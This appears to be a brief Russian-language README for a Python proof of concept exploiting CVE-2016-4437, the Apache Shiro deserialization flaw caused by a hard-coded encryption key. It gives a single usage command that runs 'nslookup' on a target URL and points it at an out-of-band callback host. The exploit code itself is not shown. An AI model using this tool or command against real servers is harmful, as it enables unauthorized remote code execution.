
Python POC для эксплуатации уязвимости десериализации Apache Shiro CVE-2016-4437 из-за жестко закодированного ключа шифрования
Python POC для эксплуатации уязвимости десериализации Apache Shiro CVE-2016-4437 из-за жестко закодированного ключа шифрования
Пример использования:
./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun
Смотрите комментарии и код для получения дополнительной информации.